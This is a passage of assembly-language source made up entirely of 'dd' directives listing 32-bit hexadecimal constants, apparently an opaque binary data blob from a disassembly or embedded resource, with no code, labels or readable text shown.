0FBFF6A23h, 0F583C3DBh, 0DFF0EBACh dd 0E928092Dh, 8D33A077h, 0B2B5772Fh, 5111022h, 45209497h dd 553A885Ah, 10B01829h, 24B660D8h, 0B4619F41h, 196AF4h dd 65787B45h, 4C90EBA1h, 0FCE60492h, 0E661EA0Ch, 0E1CD7070h dd 945F202Eh, 7162E450h, 915611Ah, 18432672h, 0D029E510h dd 2BD912A3h, 562526F6h, 0D2F19E10h, 8B419800h, 4CA2581Eh dd 0AE2703D3h, 0B2E11394h, 885B07A1h, 26257D5Ah, 75863179h dd 3F212F2Ah, 496B8C0Fh, 4A8E5113h, 0E25F2511h, 0D847874Bh dd 50C82B11h, 0C91D429Bh, 0E4D16025h, 0A009009Ch, 9A9D24F3h dd 57246C92h, 167324Fh, 6813D5C2h, 62A9957Fh, 6585991Bh dd 3DBD0681h, 55262F1Ah, 0D7947E7Eh, 0ED6FC10Eh, 47B9040Ch dd 60772822h, 52BC895Fh, 0DE9C9C2h, 55631720h, 91130044h dd 7D8247F3h, 1B0DB3ACh, 2753E961h, 0DE48D900h, 0EC755F89h dd 0A4F1D38Dh, 3B43222Eh, 0C9A7A828h, 1842A510h, 82F25DFEh dd 81146E07h, 0E0EF8290h, 0F87471Eh, 0D9C5064Dh, 46357C31h dd 972F9520h, 40883008h, 0D211E381h, 0EC048E25h, 1D892330h dd 256DB0D8h, 0D5BA1Ch, 69B860C2h, 0B4F176A8h, 10BB4010h dd 0A400E1CDh, 0FBBF098Ah, 79D7F8h, 99604056h, 6195922Dh dd 6EAF6A4Ah, 0AB80E2Bh, 82CA2EB6h, 0E0B7D820h, 25F38128h dd 6EE6235Fh, 54BEB924h, 48F1F892h, 50B8303Dh, 9BD0FF01h dd 0B661D1D6h, 9831FCE8h, 2B0C405Ah, 1933C048h, 0D21124D9h dd 0F8F0B336h, 9713FD85h, 84082960h, 27252823h, 0E3E161CEh dd 4B67BCD1h, 125F15CFh, 8DDAEE08h, 5D4D97C0h, 62129591h dd 6F24C3Fh, 160C0926h, 3E34E705h, 1F3D1233h, 810BC9E7h dd 95707C3h, 589E595Dh, 6904D380h, 28D2BB66h, 17F2DCE2h dd 26439130h, 962BEA3h, 0AD710D15h, 95358AC6h, 20F48B7h dd 84A4322Eh, 1B52609h, 8516BA8Fh, 0B8234E55h, 0DC41DE13h dd 0C8D92AC0h, 2580F620h, 0CDCEBBE7h, 7E435C95h, 26337700h dd 68A5A625h, 0B04C2659h, 0FCDE007Ah, 0FE8BE1FFh, 43AB1497h dd 7A9A5E3Eh, 22732C82h, 2E50A75Ch, 507E9504h, 589095DEh dd 1497C885h, 2FC945C9h, 0C000B6Eh, 0D24675E1h, 0CD4839C7h dd 0D4079C6h, 1CE73F81h, 6058C580h, 66F3B5BFh, 0DA82794Fh dd 0C658092Ah, 4709C490h, 703B964Fh, 11B7B7ABh, 41D02505h dd 39534B8Ch, 0FEE6F2h, 39BF575Ch, 3567A95h, 8077FC95h dd 3FEDBA55h, 2497F321h, 8B4470BFh, 0ACA1B9DFh, 50048C15h dd 2985318Eh, 9BA598B8h, 0EE4AC1D1h, 0E2E9058h, 48BADA68h dd 0C970897Bh, 0E660678Ch, 0F426F88Dh, 95614438h, 10B70594h dd 0F076BAAh, 9A9447E5h, 0F9685C1h, 81AE688Ah, 60505FDEh dd 0E4E92Bh, 0BCC43E1Ah, 3C0E6EA6h, 0B2A74263h, 1E7517E4h dd 0E902B100h, 55FA455Eh, 67FD3D15h, 0D1829300h, 20FB675h dd 5B09A5BBh, 0A04C5A61h, 2E147834h, 651271B9h, 9BB34Ch dd 9061E3B5h, 32514A2h, 506FA97Ch, 4870585Eh, 1C89AAB9h dd 336E57F4h, 89438B48h, 4D9F8458h, 9D4B6FB8h, 7FAC2B19h dd 0BF2476FCh, 0D908904Eh, 1AC62529h, 430BBB00h, 44E94C16h dd 730B501h, 8D000C9Dh, 78CC2F8Ch, 4CFF5Ch, 6422E99Eh dd 0AD636F7Ah, 0F1B07664h, 975B18F0h, 0CB801598h, 18CD704Bh dd 0ACE3642Bh, 6FAB4BDDh, 2BD40737h, 0D9BDF1BDh, 0B99D5489h dd 0B3B2CB62h, 0CDDFB441h, 241B2281h, 0D91B2F60h, 0C9B7E82Dh dd 0C50E9761h, 1BAA0976h, 1008CBC9h, 7BB31768h, 96F41694h dd 668AC07Ch, 2B4B8BBFh, 0B2039B8Dh, 7CB8A479h, 25820FE1h dd 0CD0D5824h, 5ADF4E00h, 0CE7398C4h, 5A6195D4h, 762350h dd 0CD8588A5h, 9586284h, 16EEE0D6h, 0F6BB5510h, 23A8FA13h dd 95E043A1h, 3D2D912Fh, 0E658D916h, 0B4BBE4F3h, 0E34C7C9Fh dd 717A514Fh, 0B4342B9Dh, 9C5014B0h, 33AC2F35h, 5A48D116h dd 61004E87h, 7DBCCF81h, 7251493Ah, 9A7568Ah, 0C109A771h dd 838AE200h, 67954A32h, 3735AD04h, 2B968F3Bh, 0A118A050h dd 9F95BA0h, 15C1B529h, 61C75359h, 6C2F2808h, 0FED4ABC5h dd 676EE92Eh, 4018467Eh, 93022CD9h, 9D0B606Fh, 66E5EA11h dd 988C0038h, 471AB9EBh, 6A017943h, 0C8173718h, 7EC66061h dd 0A4FC67F1h, 0CF90BC50h, 7958385Ah, 9C1D9719h, 5C1762D2h dd 0BCF0CB60h, 445D9495h, 8D152974h, 0A2E02155h, 0A8DA2404h dd 0D7A980A2h, 9B357B0h, 0AD442F54h, 48542851h, 905B12ACh dd 72EB815Dh, 2E262A12h dd 0F989E0A9h, 0DF256E59h, 0F9001637h, 0CB03205Bh, 9C9E2409h dd 3C780FF8h, 234DBD22h, 53E51A5Ch, 6000AAF2h, 0A84B9328h dd 0ED005C26h, 1A18D7C1h, 0BF5BBD50h, 0D29C7298h, 8E05557Bh dd 0F08318A6h, 0AC828Ch, 1C5352B0h, 24A1B4E0h, 0BBC41B00h dd 9FD30466h, 5F571C10h, 922BAE5Bh, 230DACFAh, 10DF25DAh dd 9CB81F9h, 13D06155h, 17592A73h, 0FA1A9518h, 2B753605h dd 0D860F3B9h, 0A6900392h, 218B0A4Bh, 946A5Bh, 965FD8F8h dd 2CEA9A05h, 91C9F8Ah, 0E1682B8Dh, 6471A51Fh, 532E0B97h dd 0C8B6D849h, 9A131700h, 0DA80BFA8h, 15951389h, 0B299D1Fh dd 0C1168830h, 2E1EDDD1h, 8D015402h, 9567F805h, 8F374C89h dd 0D68A0B81h, 30DB22h, 9E2B6F8h, 547106FCh, 28D37A5h dd 0F90BFB50h, 0ED6B575Ch, 8043C4E1h, 499279D8h, 2E44086Bh dd 9BA9D2B7h, 690E08D2h, 5A9953A5h, 0A0C53C18h, 29079F06h dd 207445A7h, 80091B85h, 1996AECFh, 46E414D5h, 0F0A200D4h dd 3AB9CBD3h, 4904398Bh, 98E6A9E5h, 0D68CCCh, 0DEE026F4h dd 3E1EF9CCh, 8A78E090h, 7227964Bh, 5A803F40h, 0E717498Fh dd 0CB24E1DEh, 26245108h, 48041154h, 1A621255h, 0B7124EE3h dd 8B4AE278h, 80A2DB6Fh, 9886124Dh, 0DE00D395h, 726135DDh dd 0B06FA28Dh, 20605B3Ah, 0E4914AB9h, 0A9DA9D00h, 2780222Dh dd 6BAC0E75h, 0C322F52Fh, 0E3EA6114h, 0C23755h, 0ED1DA093h dd 0E2C82298h, 45E4A717h, 0CC30681Fh, 7FEE3B40h, 4AD11511h dd 1339A026h, 0A05C5B81h, 2879B85h, 159F23C6h, 65610D61h dd 7B6B2B71h, 0E0091523h, 0D60B5EF5h, 6F091646h, 3D055CDDh dd 0CF35879h, 3A970C91h, 0E75A4D60h, 0DFDA20D3h, 0A7958F6h dd 9D7129F0h, 7E8E2C4Bh, 30574C27h, 866B3Ah, 0F6F1607h dd 5EEBB7A5h, 0C6FE8A25h, 11B3258Bh, 0B6D7AC2h, 0A4EA3CE4h dd 1E00CB95h, 7F678B18h, 2DABB90h, 5B0E8A54h, 0A35C02B7h dd 0DB57985Ah, 450C0055h, 0DCB5FCF0h, 0D600E4F4h, 54A4914h dd 127E11C6h, 0E7F33AE9h, 0D52BA0B5h, 70887BADh, 10111285h dd 0C140B843h, 23E9BD89h, 8CEA6003h, 0B600BD72h, 10E0815Bh dd 123E419Eh, 0DBC18B61h, 90E68027h, 13197D71h, 4C6F436h dd 0B8335708h, 2DB6D6E8h, 5A9B54E0h, 66210816h, 4926D0E5h dd 84D2975Ch, 476EBB45h, 5B562E05h, 0BC3DF96Ah, 0F2380913h dd 1E18606Dh, 2279CD03h, 0B578AB18h, 255BCBBEh, 0E55A8D89h dd 536A6124h, 0B3CD14F4h, 137DB122h, 4064CB2h, 5F1F99CFh dd 3520C53Ch, 0C92F4B71h, 34EB4746h, 0C4900925h, 0F9E00359h dd 3C65554Ah, 0FA35ECE8h, 0C334A526h, 0DBE6605h, 6CBFC300h dd 0BF906142h, 610048B7h, 0D5397F06h, 5C4125E3h, 0D9AB2BDFh dd 78442B3Eh, 7A0DAF53h, 328AA5B8h, 57A5D035h, 5E9783CEh dd 0B0017E78h, 8F324078h, 9A49860Fh, 8E060C90h, 7C62118Eh dd 710908B1h, 1BB9F88h, 0FF7AA6CFh, 0B84B2DD1h, 1DB725E3h dd 801266E5h, 579D8EEh, 7AF097h, 14F9B244h, 62D6CA0Ah dd 85294205h, 884905DDh, 534D5F02h, 0F82C2163h, 100932C4h dd 1204F1B5h, 6EF5B350h, 1316E2Eh, 8E11369Ch, 0E9618912h dd 0C230B420h, 195D8DEBh, 6A28BAE5h, 251A8120h, 47967E9h dd 0BB20EC2h, 6470905Bh, 7BC649BAh, 48CDECBDh, 6B8D8501h dd 7FB7448Eh, 8A031820h, 0BD0B89E0h, 1812654Bh, 0F64A6CE7h dd 0F993A34Eh, 882FBA48h, 0BB00625Fh, 0EC987754h, 0E3C667h dd 0DEA71C28h, 0FAB70F49h, 53505B13h, 0E214AFB5h, 0B9DF34ABh dd 7AAA4E7Fh, 0EE880C40h, 0E7DF642Eh, 3DB1092Bh, 4D25757Bh dd 0D08BC0ABh, 0E20A2CB7h, 0AB68CC3Fh, 83F6FA12h, 20899D1Dh dd 32EDD9E9h, 0DEFF2C3Bh, 24052061h, 0E0FD44E4h, 99340059h dd 7867FE89h, 77E6CD31h, 0ED25B8B8h, 116DE51Bh, 22554C1Dh dd 0A3BB0305h, 0B028DD27h, 93D38180h, 0BA73400h, 953170E6h dd 7097D335h, 18A18DE0h, 5878E481h, 7BF104C0h, 0B8003A74h dd 971D92E5h, 0FF1F5Fh, 38574F29h, 0CE0745BBh, 0E95B3125h dd 21C2D078h, 0C269DBDh, 97BA76F5h, 0F2C0AAD4h, 1E094Bh dd 8D5399CEh, 1FD3F59h, 0A8CD8529h, 5B50C100h, 0FB099529h dd 8344F82Fh, 0E289E2F7h, 4AF7F8F5h, 45D2F02Bh, 0D13D1961h dd 764086E9h, 0D223A995h, 0E5D4EA1Bh, 4B7713B0h, 648C6F4h dd 7AF9C2C9h, 6F214540h, 0D60EE221h, 7649BC8h, 4E5A891Dh dd 0A523A02Eh, 0C301EF83h, 5B12DF80h, 339247E9h, 8B780351h dd 376FF8Dh, 38C8FA4Bh, 0CB47A833h, 2E6A48FCh, 0A583FE0Ah dd 51A73B19h, 33826851h, 5FD9Dh, 0C563BF5Bh, 0EA315034h dd 0EB816F00h, 0E75ADB07h, 0EF30612Fh, 9290935h, 1348CFA8h dd 0F4F5C017h, 0E6313A1Fh, 0BD5E1D51h, 0D5FBC089h, 4E66957Dh dd 14420B0h, 9D86B8F5h, 6A806E37h, 968ABF0h, 0C4E15ABDh dd 0FBB6BB4Fh, 0C03015A2h, 3B1895FBh, 29F1F2B9h, 17F2E8F3h dd 52C5BD89h, 6668E198h, 0B03FF00Ch, 0AC0D048Fh, 4311E9FCh dd 0C069B9E8h, 981E4Bh, 0DC8E93BDh, 8A30F667h, 1043CD25h dd 95A915h, 0A6809BEAh, 0C02B5F6Ah, 3DC229Eh, 6629F4CFh dd 0FA1982Ah, 2430668Fh, 0CF015FDBh, 0D22B1590h, 0D36E7Ah dd 2C10B401h, 0E3BF6D65h, 4BF13CD8h, 48A0CF1Ch, 52A04F0h dd 0DAAD778Ch, 7D2580B8h, 9D9EE4D2h, 0D7C03ECDh, 1CFD432Bh dd 0D6A03BF5h, 2F939D80h, 0FFCF7FCh, 0CA8CEC3Ah, 977140FBh dd 1D55B2A8h, 0DABA5B50h, 95ACEE95h, 0E804E635h, 0FBBC23D3h dd 47426EADh, 5E15A1BDh, 2E5071D8h, 5DE843EDh, 18F4F350h dd 3DFE1F05h, 0AA81E4D7h, 602F20B5h, 5BE5BBD5h, 926FE02h dd 572ADD85h, 0BF6689B8h, 0FF28B3F0h, 5E9896E1h, 62E99D2Fh dd 519E5C84h, 60AD99CAh, 0CC68F7E8h, 4984CB5Eh, 18CD28DAh dd 1879A2C4h, 8BD11512h, 0A2F1D88Bh, 89798642h, 0DC2ED61Eh dd 9570F601h, 0C864287Bh, 9D6EA4E8h, 0F19CFE54h, 650C9720h dd 2D4A51C8h, 0C22EFE3h, 1A727E98h, 6D95F370h, 62146469h dd 0D62D5EA6h, 0F7001B46h, 1687B83Ch, 5B5C7CEFh, 1CA6D79Bh dd 6F9F7800h, 7B67473Eh, 9BAAD209h, 1087D440h, 0DE7874D9h dd 788E0F2Eh, 8A659562h, 0F4F54Fh, 2B3DAA64h, 5FB06FB1h dd 0AC683E02h, 0E6F1447Dh, 0A7D2006Eh, 26AE6964h, 500CC4Ah dd 481DE28h, 0B865324h, 8D0F0EDAh, 188A471h, 0BD71271Ch dd 3F8FF200h, 4BC13093h, 60C68DBCh, 0F65AD89h, 0E856CE31h dd 0D0804C9Bh, 0D398761h, 0B70F2609h, 2FCC71D8h, 23855737h dd 0CAE2AC95h, 590A027h, 0D200AF9Bh, 0F986F5F6h, 1E3A5480h dd 25B31998h, 0F35700E2h, 5FAE01EDh, 2FCE15ACh, 37C00A34h dd 4B88F9BBh, 2610DD57h, 8D66B084h, 71D4FDCEh, 2AB212BDh dd 0D9F6E089h, 910A0A95h, 51AE5B52h, 54E176F6h, 7C8210CDh dd 0F0D3098Bh, 80022B78h, 0B35085CBh, 8D3AF0DDh, 906D616Bh dd 45E06CFEh, 27DB2BE9h, 1B86A7C0h, 6501460Eh, 0F0A368AFh dd 0EE718D44h, 4158657Bh, 0DA135C73h, 0F9242E72h, 305CCD7Ah dd 8A509007h, 0A7FE49FCh, 12FB00DCh, 7C46A794h, 0E2011640h dd 4B73BB51h, 753A754Eh, 0A8AEED9Eh, 0A6B80075h, 8F378092h dd 9612B6AAh, 82FB9D0Bh, 4B5E613Ch, 21846F6h, 72A2F9Ah dd 250A7E4Ah, 48166365h, 0C4EC7FADh, 0E9411809h, 1A4FD740h dd 0A3F3040h, 25BC9883h, 2AE71481h, 76FBA276h, 0C825DCB7h dd 93EE5E4h, 0CDD70420h dd 505BE022h, 94090634h, 71D8320Bh, 0C99100CEh, 3BDB7BDEh dd 4FC81E00h, 97AD6AFCh, 660B91AFh, 0BA9C79DDh, 0C8F8F127h dd 19465479h, 6351EA01h, 788AF26Fh, 0E166D80Eh, 0A5CE9505h dd 9BBF938h, 7367D878h, 181659B4h, 815A4A07h, 14157D2Ch dd 8ADE31EEh, 0C09F7D17h, 2188612Bh, 3B8000E6h, 0A99C518Dh dd 0C604D74Fh, 4A013053h, 88D687BCh, 1A1EA77Ah, 70000B65h dd 91DC4082h, 2725ECE6h, 87C46096h, 99C50D0Bh, 414C7B58h dd 20668BA5h, 5A7692DFh, 5061FB1Eh, 6B6AB001h, 0CD449655h dd 15889D9Ah, 5EA52EC2h, 35D8698Dh, 98E2324Ah, 0D08FFAD2h dd 4ABEF3D3h, 1BB291B6h, 271EF30h, 74942902h, 26C2330Dh dd 0BB9F30D5h, 0A9323F24h, 0C841DACBh, 0AA0EC019h, 0C9244E4Fh dd 703A188Dh, 229EC495h, 66000CE8h, 50588C88h, 0B7FE36Bh dd 3D94E03Ch, 5FFA7E70h, 0E55A8897h, 5621790Bh, 0BCF8C4C5h dd 7ABF4B19h, 0FED0BFBh, 246A5189h, 9C53274Ch, 2CAE8578h dd 0C9D8870Fh, 8100B07Bh, 4045F6EBh, 0E635BF05h, 0A0801D91h dd 0FA384B03h, 6E26CA04h, 0A68C518Eh, 0B5E300A9h, 0B8125759h dd 2C3A608Dh, 96868BD5h, 7DDD5053h, 7A05F866h, 734D9561h dd 0D433ADC0h, 0C8D64BF9h, 2D0F4948h, 0F10342C2h, 88518Ah dd 2BDBBF5Bh, 9A975598h, 82C7F13Bh, 15059D29h, 708F1C57h dd 0D8F79B6Bh, 3B02FD01h, 0ED986EE8h, 40D9F4E5h, 5806F0CFh dd 6AEAFA00h, 1C25F42Bh, 0A42903F2h, 2EE7EDD2h, 60BB50C9h dd 734AA5B7h, 12AD1E13h, 700084B8h, 96ABA673h, 5869BD03h dd 0C8A5192Eh, 6B009DEBh, 3089037Eh, 12E812A7h, 0F3F734DFh dd 2D935040h, 7498394Eh, 971EF4BDh, 35BD0396h, 0CB331400h dd 0DC6F6D01h, 2B10F976h, 206CE936h, 9092C79h, 7905A585h dd 4139C40Fh, 1945B589h, 0BFD3DC6Ah, 0B4FE8009h, 0BE07786Ah dd 3A01DC45h, 19038E30h, 287C1B8Ch, 0FCCB4Ah, 0DFB3ADBBh dd 97D6E935h, 0C18BEA02h, 1DDCAC54h, 8ACEE89Bh, 24EB0BB6h dd 0A86EA5A4h, 27582F93h, 0D3FA2Ch, 1F1E86Bh, 60525090h dd 61DD8A06h, 4B0C310Fh, 3EE2C5h, 0A8BE291Ch, 1131F23h dd 3FDDB8C2h, 0F4A97E51h, 30E5615Ah, 2FF560BEh, 25B438Ch dd 9B6B966h, 427C9061h, 599313DCh, 2BE404D5h, 0A80D943Bh dd 0D66A2631h, 0F4704AF4h, 90B5A514h, 76C19378h, 0EFD7AD4Ch dd 7B947661h, 0B0162E89h, 0C18124DBh, 0C77D2D72h, 0D71EA10h dd 8575017h, 0D0A80491h, 4BC0CE25h, 0F9BD98CEh, 9AE49525h dd 80C19F9Ch, 742EF2E3h, 0A891B97Fh, 656AC48Ch, 23C4120Ch dd 81C06CACh, 0AAEAD3E3h, 0D1FF4913h, 0B201686Fh, 0CF7F2C02h dd 70282EFBh, 0DB2DD39Fh, 0A93F805Ch, 12CD76D8h, 4BB68F7h dd 180A5D02h, 971FB5DCh, 75F4871Ah, 6D4813D4h, 0F7C202E4h dd 52E68893h, 849D9600h, 8DE00B32h, 33900C18h, 0DD84ADE9h dd 0F65B3140h, 330A6FE8h, 47231040h, 50912F2h, 15C5FDEh dd 5B68AA85h, 0B092060h, 90676E71h, 32001454h, 0E98501F6h dd 8F389726h, 0DD228D89h, 0E302127h, 0DC19DC2h, 0BDA1D696h dd 2A8EDF80h, 2501426Eh, 0B99D3323h, 69752E19h, 0A5D78BBCh dd 0CE695652h, 6590E712h, 14E236E6h, 7501CA30h, 0E20A5A95h dd 92E293AEh, 0E62A0C00h, 6ADB9C9Bh, 0C62D1225h, 6F31761Ah dd 67FF0D69h, 84B4B557h, 0C202D994h, 0AFC3FC16h, 92C85F8Dh dd 2220E65Bh, 0EB858029h, 0B0F638ACh, 9489F91Bh, 76B0374Ah dd 71E42ADFh, 0F222959Fh, 8409010Ah, 0F92202ABh, 1EEE1D60h dd 0FDF88F95h, 93E35AFDh, 1C999D08h, 0C4E25049h, 0DC572h dd 0D1BD0153h, 0B8489F1Bh, 0AFA0E2F7h, 2B811425h, 24885897h dd 82B286h, 521C8521h, 458DE7h, 0A12D6E57h, 8B6414A3h dd 0B509D10Bh, 0E9A92275h, 0E06474A9h, 0EE9F7142h, 0CF3F5B00h dd 2182C3BBh, 0F2A4ED58h, 0E2534422h, 0F0AD0920h, 0C0CEF714h dd 7FADF02h, 0F6A0C51Ah, 3101176Fh, 2B04C93Dh, 0FE8A7D89h dd 2509310Dh, 267FD740h, 0C2745C2Dh, 94425681h, 2DC6A412h dd 4445CB1Dh, 3409C604h, 0A03371F9h, 25AB91A0h, 28443764h dd 12CB7681h, 0E6226C7Eh, 2DB35B35h, 2F958914h, 0A38D0F16h dd 0A86A12CCh, 0E10B2CE6h, 537B4C45h, 1DC56278h, 29896B8h dd 0D7801726h, 549B89D5h, 0FE09DC32h, 591C6643h, 94CF0087h dd 0E19663C2h, 0BD235F0Bh, 1647F275h, 0A715860Fh, 400100CAh dd 0ECB71025h, 1A1F0C14h, 6FEAE6Dh, 0C65F2C25h, 0B9F90B3Fh dd 9A470DE6h, 0A8621464h, 2921A760h, 83E0CC83h, 220F975Bh dd 87F3956Fh, 8D37A55h, 2B0F0DD1h, 5985E2C0h, 0B93F7428h dd 0D21D2032h, 2A49E382h, 975B36D7h, 26C2506Dh, 0D606028h dd 0C99D250Bh, 5A442109h, 22373D01h, 4D363072h, 101D3F4h dd 0C3F75E8Bh, 0D176969Eh, 9A6E3B8Fh, 94280B09h, 0E46ECC19h dd 7F036B9Ch, 891F19F4h, 11F60134h, 0D79BAF1Ah, 0F5132B82h dd 0E6E824BDh, 0D008E302h, 404A396Ah, 9E0AFE04h, 0D5766B49h dd 0F9B7C46Eh, 0C1D6D3ACh, 2B1F25F5h, 750BA2Bh, 21144101h dd 0B9292AB4h, 0E638137Bh, 1690F06Bh, 9AF50432h, 0A8B3B4FAh dd 0EAB8249Ch, 28A95169h, 0F06D5422h, 0F6E15DFFh, 639A3CBCh dd 85551561h, 382B26DDh, 54109CAh, 0B157A8Ah, 801C413h dd 0B445A511h, 0C304CE0Ah, 5760FB42h, 731CF037h, 81BD4ACBh dd 0B7CF8064h, 0F6B6132Bh, 890BE0E7h, 60F22528h, 61B533C1h dd 33122B1Dh, 1D26D9A1h, 51BEE0F6h, 34502910h, 26887DDEh dd 12CE0161h, 2202E30Fh, 25DD9840h, 6F4D26AAh, 70601A64h dd 7709DA2Bh, 0D4F8014Eh, 5E31401Ah, 12005C9Dh, 0ED373EDFh dd 99C7E7Ah, 0D9E5B96Ch, 0C9A41B71h, 50C3DD1Ah, 88814FF9h dd 6D128773h, 50D34A67h, 0DF50AA51h, 126C1610h, 0BD2E0F00h dd 7148B9D9h, 0E2FB4E05h, 0E25F8C19h, 2D78C801h, 0DEB86800h dd 7810951h, 0DD472434h, 0E854794Eh, 23BAEB40h, 6F7709B1h dd 1953EFA6h, 49DBCDA7h, 0FC68C6DDh, 0E75912BBh, 1293AC1Ah dd 0C1AD2A09h, 0E2CCB6D2h, 2802DFC4h, 0D269209Fh, 2A71718h dd 0DE01F60Bh, 6A2A8805h, 20EA23EBh, 7762DDCBh, 6B0EE600h dd 5A723CD1h, 575800D9h, 0A30D648Bh, 0BD122BA0h, 2B83235h dd 8BC3DBA5h, 0B011827h, 0BD913CB5h, 2D711627h, 705EDA41h dd 95B07920h, 7B7736CAh, 0EC0FD194h, 5DB0830Dh, 0FB0944h dd 373BB1Fh, 0A96A20ECh, 817B95FAh, 56BCF1D7h, 0D9D03C1h dd 6DAC0428h, 11E8CAh, 0EE6A7FA1h, 3E98F9B8h, 1A975FFAh dd 83E476h, 7A6A53A0h, 0D01A9835h, 9A5FEC03h, 44BB3DCh dd 897642F2h, 80ABB806h, 34E69D18h, 9DFE924Ch, 0A460DB4Fh dd 7F5BC109h, 346EE328h, 4A68AC56h, 97F6B6Eh, 32C14E37h dd 960AA156h, 2A015FE8h, 5827ED12h, 2231431h, 5398A400h dd 0C74A4302h, 0EACC6100h, 12AD9ECh, 0D5CD01BCh, 0F679BDFh dd 35C2331h, 75EB8474h, 36179088h, 1FA0EA2Ah, 2AA02F8h dd 5BCDFFE3h, 50383ED0h, 2025CB60h, 4B1600FFh, 55865982h dd 51028900h, 606177CBh, 868A520Fh, 0FE7E0642h, 2B10B596h dd 4600D1B5h, 31773376h, 2D9D8D2h, 366322CEh, 0D977924Eh dd 0DC8A04C5h, 2271AF5Bh, 68000EFDh, 252AC8DBh, 0A3012F75h dd 20698E36h, 11DC8CC1h, 711507B1h, 9109B948h, 735B5060h dd 0CD8B00DBh, 752AB5BAh, 935E2B1h, 66A0362Dh, 17CD180h dd 6126761Eh, 89B8985Bh dd 7C753ACBh, 4D00DC77h, 57E294AFh, 9F62DF5h, 0E380939Eh dd 0C5DB7A01h, 0B282368Dh, 0DCD63016h, 9D89EF09h, 90ACA5F1h dd 0E85012FFh, 0BCE64D60h, 776005BEh, 8A74B754h, 0DA64F08h dd 60FE18A0h, 0CD61B727h, 6F2AC09Fh, 507F8B53h, 0F308AC00h dd 3CE3810Ch, 23922540h, 0B5A740E7h, 54003F77h, 25B537F6h dd 0AFB0EC33h, 97ADDF4Ah, 1BC185B0h, 5ACBB08Eh, 0BACFE3F8h dd 9ACBD4Dh, 0C05C4D9Dh, 0B2E741DCh, 0E3D2EA01h, 1F75BD33h dd 8795B32Ah, 0FD09042Dh, 0DC05B6Dh, 22B03C0h, 0F305394Fh dd 89FEDE7Bh, 0C401B247h, 0B23C190Eh, 136CE096h, 1A9FE795h dd 0F37581E6h, 12E658DFh, 465C9100h, 0C45A02Bh, 920958D5h dd 18BF3220h, 95A8B732h, 6BF82419h, 6A3BD79Dh, 5E4C0B85h dd 2FCB01F2h, 2AC98D89h, 81A2B22Ah, 52D84070h, 0AC20490Ah dd 844812F6h, 1E59F07Fh, 11BD6DC5h, 961FA9F8h, 0B0D08160h dd 63506116h, 0B9EF1EF7h, 6E4B9987h, 0A56B330h, 0B29C12E4h dd 2E1DF501h, 250AAB7Bh, 1DF6FE28h, 0A056A569h, 0E58D29E1h dd 28E94C2h, 0D427C781h, 0B5573F45h, 801B9179h, 73306ADh dd 0B1100FDh, 0E52BBFF9h, 8B974D46h, 0E054FE0Bh, 0E5C9D663h dd 93D52917h, 16AC61B9h, 8E63138Ch, 415E0B6Ch, 0D768AD5Ch dd 0F51FC509h, 8F013866h, 0DB81E1E0h, 0D0EC7FD9h, 304414D4h dd 2509B728h, 167895EFh, 0BDCB49Ch, 0AEDC071Ch, 7D958B82h dd 6E5CBF89h, 1A46DCh, 0FCC17082h, 9D842F14h, 9295CE0h dd 0DFDA3381h, 0EE619224h, 0CB5032B2h, 0B91F4AE5h, 6AF9C533h dd 5CDF30FAh, 29009994h, 0B60D4991h, 3AF88E97h, 0EB8E89F0h dd 135D837Eh, 0B243B677h, 0A86D3018h, 0F229C812h, 0BAC7188h dd 0FC88B654h, 0F84858E6h, 4AB84AACh, 13C7EEDDh, 0C4306550h dd 0E70CA638h, 1A0EA7E0h, 0FA8B1EF6h, 0E7135280h, 0DFD127Ah dd 0AE3174AEh, 3A05EE6Fh, 7DBC60Fh, 0C3EF81E0h, 0BCDC9172h dd 4A49A34Dh, 829A9B3Bh, 0D007218Bh, 50963912h, 81E39B5Eh dd 0CB1E7C84h, 20E3C27Ah, 51E52B5Eh, 0C009CCECh, 615E5FBDh dd 50DA53EBh, 0D1073848h, 3508AEB3h, 0C7297A35h, 2B2F14FDh dd 0E4408041h, 9957F52h, 0F83CB7E0h, 44442F79h, 8886925Dh dd 9897F9EAh, 1715BB31h, 1760739Fh, 4BA4BD00h, 3FA93785h dd 6027D6B8h, 509DF0F9h, 5A05BE61h, 0C0D9E31Ah, 0B1887CBFh dd 0B0E92155h, 50017BA7h, 2F016F36h, 0ABE4F769h, 245AC18Bh dd 0C4FB6BC0h, 7425A41Bh, 0A258E69Dh, 0CB46F4DCh, 0BB84EB56h dd 0C21ED963h, 2367EA58h, 5026533Ah, 14CD2B0h, 0BCD8C072h dd 0A946FAh, 326AFBC1h, 29D4A3E1h, 8A58607h, 0DA359DF2h dd 0ED0D17EBh, 6EBA4FF3h, 43A70006h, 0DDF04C19h, 6F029567h dd 89091D8Dh, 0FAE1DF0Dh, 0A0F3276Ah, 5CE7103h, 6238E2BBh dd 35B50248h, 9AD74CD2h, 0D42BD438h, 1BC29C09h, 49F2FE89h dd 0FE7ACE50h, 0B75DC7A2h, 586901FCh, 80978807h, 89E38140h dd 0F14C5F27h, 806F6Bh, 66C0341Ah, 97AD97BFh, 0BD5D70A9h dd 0CB75041Dh, 5198C2Bh, 9E46A900h, 2DFDABA3h, 0AF33002Eh dd 13B745Ah, 593A0623h, 76F6DA02h, 0B1301BB2h, 2B860037h dd 591EDA60h, 989D830Fh, 820E3187h, 18D8860h, 0C030F589h dd 4CF05DFh, 0E6D1FF61h, 271E2F6h, 7DFA1811h, 314BEF77h dd 8222BFCAh, 22C20B0h, 0A105C31h, 0FE718925h, 0F74E12A5h dd 0B8AF9B60h, 37DD8004h, 24952642h, 0A3BC02FDh, 12E922h dd 228DF298h, 9C91D2A0h, 0E80360FAh, 70FA1E5Dh, 70E4EA69h dd 0CECD9760h, 25611564h, 20E03C45h, 0E3E93A0Ch, 10A2CBCBh dd 6E4AD23Fh, 0B5D60037h, 9D89FBFEh, 0D8255E85h, 4A02A136h dd 0E2CA1E6Dh, 150E40FDh, 0ADBA9728h, 0BEDBE200h, 0C6A690A6h dd 81F6DE9Fh, 0FB143895h, 0BCD83E3Fh, 0F48300FCh, 4C44F0FDh dd 0E0EA99ADh, 9BE663Ch, 0F590619Dh, 2E603B4Dh, 2D36FAAh dd 5214C158h, 307C600Fh, 0E3A35640h, 0F52E00F7h, 0C0DA3AAEh dd 2136216h, 88A22FFCh, 8A4B1Fh, 6055D774h, 5BF09BA4h dd 0C0085948h, 0ABA71F97h, 91E500C1h, 7178274Dh, 8402EBD5h dd 6232A5F0h, 0BCEE5561h, 0AA29BD22h, 0BFCE5516h, 0DB4EDF46h dd 1ADD82BBh, 3DEA8260h, 7DB44423h, 61100BD0h, 68F4FF6Ah dd 8A8538DCh, 0CB4EAC31h, 9AE0D653h, 0E59529E1h, 132E114Ah dd 